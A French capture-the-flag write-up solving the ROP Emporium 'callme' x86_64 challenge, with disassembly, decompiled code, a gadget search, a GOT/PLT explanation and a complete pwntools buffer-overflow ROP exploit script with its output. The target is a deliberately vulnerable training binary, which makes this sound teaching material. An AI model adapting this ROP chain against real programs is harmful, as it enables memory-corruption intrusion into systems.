Ropemporium x86_64 callme
callme
Introduction
Cette fois-ci on doit appeler trois fonctions successivement avec des paramètres attendus.
Découverte
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x00000000004008f2 <+0>: push rbp
0x00000000004008f3 <+1>: mov rbp,rsp
0x00000000004008f6 <+4>: mov edx,0x6
0x00000000004008fb <+9>: mov esi,0x5
0x0000000000400900 <+14>: mov edi,0x4
0x0000000000400905 <+19>: call 0x4006f0 <callme_three:@plt>
0x000000000040090a <+24>: mov edx,0x6
0x000000000040090f <+29>: mov esi,0x5
0x0000000000400914 <+34>: mov edi,0x4
0x0000000000400919 <+39>: call 0x400740 <callme_two@plt>
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
0x0000000000400932 <+64>: mov edi,0x1
0x0000000000400937 <+69>: call 0x400750 <exit@plt>
End of assembler dump.
Test en appelant cette fonction à la mode ret2win :
03_callme$ python3 step1.py
[*] '/home/jce/w/ropemporium/x64/03_callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/home/jce/w/ropemporium/x64/03_callme/callme': pid 11882
usefulFunc=4008f2
[*] Switching to interactive mode
[*] Process '/home/jce/w/ropemporium/x64/03_callme/callme' stopped with exit code 1 (pid 11882)
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
Incorrect parameters
Analyse d’une des fonctions
Cette analyse n’est pas indispensable à l’exercice, on sait qu’il faut appeler les trois fonctions dans l’ordre avec les bons paramètres.
void callme_one(long param_1,long param_2,long param_3)
{
FILE *__stream;
if (((param_1 != L'\xdeadbeef') || (param_2 != L'\xcafebabe')) || (param_3 != L'\xd00df00d')) {
puts("Incorrect parameters");
exit(1);
}
__stream = fopen("encrypted_flag.dat","r");
if (__stream == (FILE *)0x0) {
puts("Failed to open encrypted_flag.dat");
exit(1);
}
g_buf = (char *)malloc(0x21);
if (g_buf == (char *)0x0) {
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf,0x21,__stream);
fclose(__stream);
puts("callme_one() called correctly");
return;
}
Call_me one teste les 3 paramètres attendus puis met à jour une variable globale : g_buf.
void callme_two(long param_1,long param_2,long param_3)
{
int iVar1;
FILE *__stream;
int i;
if (((param_1 == L'\xdeadbeef') && (param_2 == L'\xcafebabe')) && (param_3 == L'\xd00df00d')) {
__stream = fopen("key1.dat","r");
if (__stream == (FILE *)0x0) {
puts("Failed to open key1.dat");
exit(1);
}
for (i = 0; i < 0x10; i = i + 1) {
iVar1 = fgetc(__stream);
*(byte *)(i + g_buf) = *(byte *)(i + g_buf) ^ (byte)iVar1;
}
puts("callme_two() called correctly");
return;
}
puts("Incorrect parameters");
exit(1);
}
void ls(long param_1,long param_2,long param_3)
{
int iVar1;
FILE *__stream;
int ix;
if (((param_1 == L'\xdeadbeef') && (param_2 == L'\xcafebabe')) && (param_3 == L'\xd00df00d')) {
__stream = fopen("key2.dat","r");
if (__stream == (FILE *)0x0) {
puts("Failed to open key2.dat");
exit(1);
}
for (ix = 0x10; ix < 0x20; ix = ix + 1) {
iVar1 = fgetc(__stream);
g_buf[ix] = g_buf[ix] ^ (byte)iVar1;
}
*(ulong *)(g_buf + 4) = *(ulong *)(g_buf + 4) ^ 0xdeadbeefdeadbeef;
*(ulong *)(g_buf + 0xc) = *(ulong *)(g_buf + 0xc) ^ 0xcafebabecafebabe;
*(ulong *)(g_buf + 0x14) = *(ulong *)(g_buf + 0x14) ^ 0xd00df00dd00df00d;
puts(g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
}
callme_three vérifie les paramètres ainsi que l’état final de la variable globale
Dump of assembler code for function callme_two:
0x00007ffff7dc892b <+0>: push rbp
0x00007ffff7dc892c <+1>: mov rbp,rsp
0x00007ffff7dc892f <+4>: sub rsp,0x30
0x00007ffff7dc8933 <+8>: mov QWORD PTR [rbp-0x18],rdi
0x00007ffff7dc8937 <+12>: mov QWORD PTR [rbp-0x20],rsi
0x00007ffff7dc893b <+16>: mov QWORD PTR [rbp-0x28],rdx
0x00007ffff7dc893f <+20>: movabs rax,0xdeadbeefdeadbeef
0x00007ffff7dc8949 <+30>: cmp QWORD PTR [rbp-0x18],rax
0x00007ffff7dc894d <+34>: jne 0x7ffff7dc8a14 <callme_two+233>
0x00007ffff7dc8953 <+40>: movabs rax,0xcafebabecafebabe
0x00007ffff7dc895d <+50>: cmp QWORD PTR [rbp-0x20],rax
0x00007ffff7dc8961 <+54>: jne 0x7ffff7dc8a14 <callme_two+233>
0x00007ffff7dc8967 <+60>: movabs rax,0xd00df00dd00df00d
0x00007ffff7dc8971 <+70>: cmp QWORD PTR [rbp-0x28],rax
0x00007ffff7dc8975 <+74>: jne 0x7ffff7dc8a14 <callme_two+233>
0x00007ffff7dc897b <+80>: mov QWORD PTR [rbp-0x8],0x0
On voit que les paramètres attendus sont respectivement : 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d
Recherche de gadgets :
# ROPgadget --binary callme |grep "pop rdi"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
0x00000000004009a3 : pop rdi ; ret
On retient l’usage gadget en 0x40093c qui va nous permettre de charger en une fois les 3 registres qui nous intéressent.
Comment appeler les fonctions callme_
On retrouve les références des fonctions dans deux tables :
La GOT contient les adresses de toutes le fonctions externes.
# rabin2 -R callme
[Relocations]
vaddr paddr type name
―――――――――――――――――――――――――――――――――
0x00600ff0 0x00000ff0 SET_64 __libc_start_main
0x00600ff8 0x00000ff8 SET_64 __gmon_start__
0x00601018 0x00001018 SET_64 puts
0x00601020 0x00001020 SET_64 printf
0x00601028 0x00001028 SET_64 callme_three
0x00601030 0x00001030 SET_64 memset
0x00601038 0x00001038 SET_64 read
0x00601040 0x00001040 SET_64 callme_one
0x00601048 0x00001048 SET_64 setvbuf
0x00601050 0x00001050 SET_64 callme_two
0x00601058 0x00001058 SET_64 exit
0x00601070 0x00601070 ADD_64 stdout
Le sous gdb :
GOT protection: Partial RelRO | GOT functions: 9
[0x601018] puts@GLIBC_2.2.5 → 0x4006d6
[0x601020] printf@GLIBC_2.2.5 → 0x4006e6
[0x601028] callme_three → 0x4006f6
[0x601030] memset@GLIBC_2.2.5 → 0x400706
[0x601038] read@GLIBC_2.2.5 → 0x400716
[0x601040] callme_one → 0x400726
[0x601048] setvbuf@GLIBC_2.2.5 → 0x400736
[0x601050] callme_two → 0x400746
[0x601058] exit@GLIBC_2.2.5 → 0x400756
La GOT n’est pas directement référencée dans le code. Les instructions call de fonctions importées visent une table intermédiaire, la table PLT :
# rabin2 -i callme
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x004006d0 GLOBAL FUNC puts
2 0x004006e0 GLOBAL FUNC printf
3 0x004006f0 GLOBAL FUNC callme_three
4 0x00400700 GLOBAL FUNC memset
5 0x00400710 GLOBAL FUNC read
6 0x00000000 GLOBAL FUNC __libc_start_main
7 0x00400720 GLOBAL FUNC callme_one
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x00400730 GLOBAL FUNC setvbuf
10 0x00400740 GLOBAL FUNC callme_two
11 0x00400750 GLOBAL FUNC exit
Exemple de l’appel de callme_one :
0x000000000040091e <+44>: mov edx,0x6
0x0000000000400923 <+49>: mov esi,0x5
0x0000000000400928 <+54>: mov edi,0x4
0x000000000040092d <+59>: call 0x400720 <callme_one@plt>
avec :
gef➤ x/4i 0x00400720
0x400720 <callme_one@plt>: jmp QWORD PTR [rip+0x20091a] # 0x601040 <callme_one@got.plt>
0x400726 <callme_one@plt+6>: push 0x5
0x40072b <callme_one@plt+11>: jmp 0x4006c0
0x400730 <setvbuf@plt>: jmp QWORD PTR [rip+0x200912] # 0x601048 <setvbuf@got.plt>
C’est l’adresse de la PLT qu’il faut utiliser. La GOT ne contient pas une instruction mais l’adresse de la fonction dans la librairie libcallme.so.
Dans notre script python, avec pwntool elf.plt[‘call_me_one’] nous donne l’adresse 0x400720.
Construction de la chaine de ROP
ROP entry | comment |
---|---|
pop3 gadget | pop rdi ; pop rsi ; pop rdx ; ret |
0xdeadbeefdeadbeef | param1 |
0xcafebabecafebabe | param2 |
0xd00df00dd00df00d | param3 |
callme_one@plt | |
pop3 | pop rdi ; pop rsi ; pop rdx ; ret |
0xdeadbeefdeadbeef | param1 |
0xcafebabecafebabe | param2 |
0xd00df00dd00df00d | param3 |
callme_two@plt | |
pop3 | pop rdi ; pop rsi ; pop rdx ; ret |
0xdeadbeefdeadbeef | param1 |
0xcafebabecafebabe | param2 |
0xd00df00dd00df00d | param3 |
callme_three@plt |
Script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# break apres le read dans pwnme
gs='''
b *pwnme+87
c
'''
# Set up pwntools for the correct architecture
elf = ELF('callme')
context.binary=elf
# Offset avant ecrasement de l'adresse de retour
offset=0x28
callme_one=elf.plt['callme_one']
callme_two=elf.plt['callme_two']
callme_three=elf.plt['callme_three']
# pop rdi ; pop rsi ; pop rdx ; ret
pop_3=0x40093c
io = process([elf.path])
if len(sys.argv)>1 and sys.argv[1] == "-d":
gdb.attach(io,gs)
time.sleep(1)
log.info(f"{callme_one=:x}")
log.info(f"{callme_two=:x}")
log.info(f"{callme_three=:x}")
# io.recvuntil(b"> ")
PL =b"A"*offset
PL+=p64(pop_3)
PL+=p64(0xdeadbeefdeadbeef)
PL+=p64(0xcafebabecafebabe)
PL+=p64(0xd00df00dd00df00d)
PL+=p64(callme_one)
PL+=p64(pop_3)
PL+=p64(0xdeadbeefdeadbeef)
PL+=p64(0xcafebabecafebabe)
PL+=p64(0xd00df00dd00df00d)
PL+=p64(callme_two)
PL+=p64(pop_3)
PL+=p64(0xdeadbeefdeadbeef)
PL+=p64(0xcafebabecafebabe)
PL+=p64(0xd00df00dd00df00d)
PL+=p64(callme_three)
io.sendline(PL)
io.interactive()
Exécution
03_callme$ python3 solve.py
[*] '/home/jce/w/ropemporium/x64/03_callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/home/jce/w/ropemporium/x64/03_callme/callme': pid 5846
[*] callme_one=400720
[*] callme_two=400740
[*] callme_three=4006f0
[*] Switching to interactive mode
[*] Process '/home/jce/w/ropemporium/x64/03_callme/callme' stopped with exit code 0 (pid 5846)
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive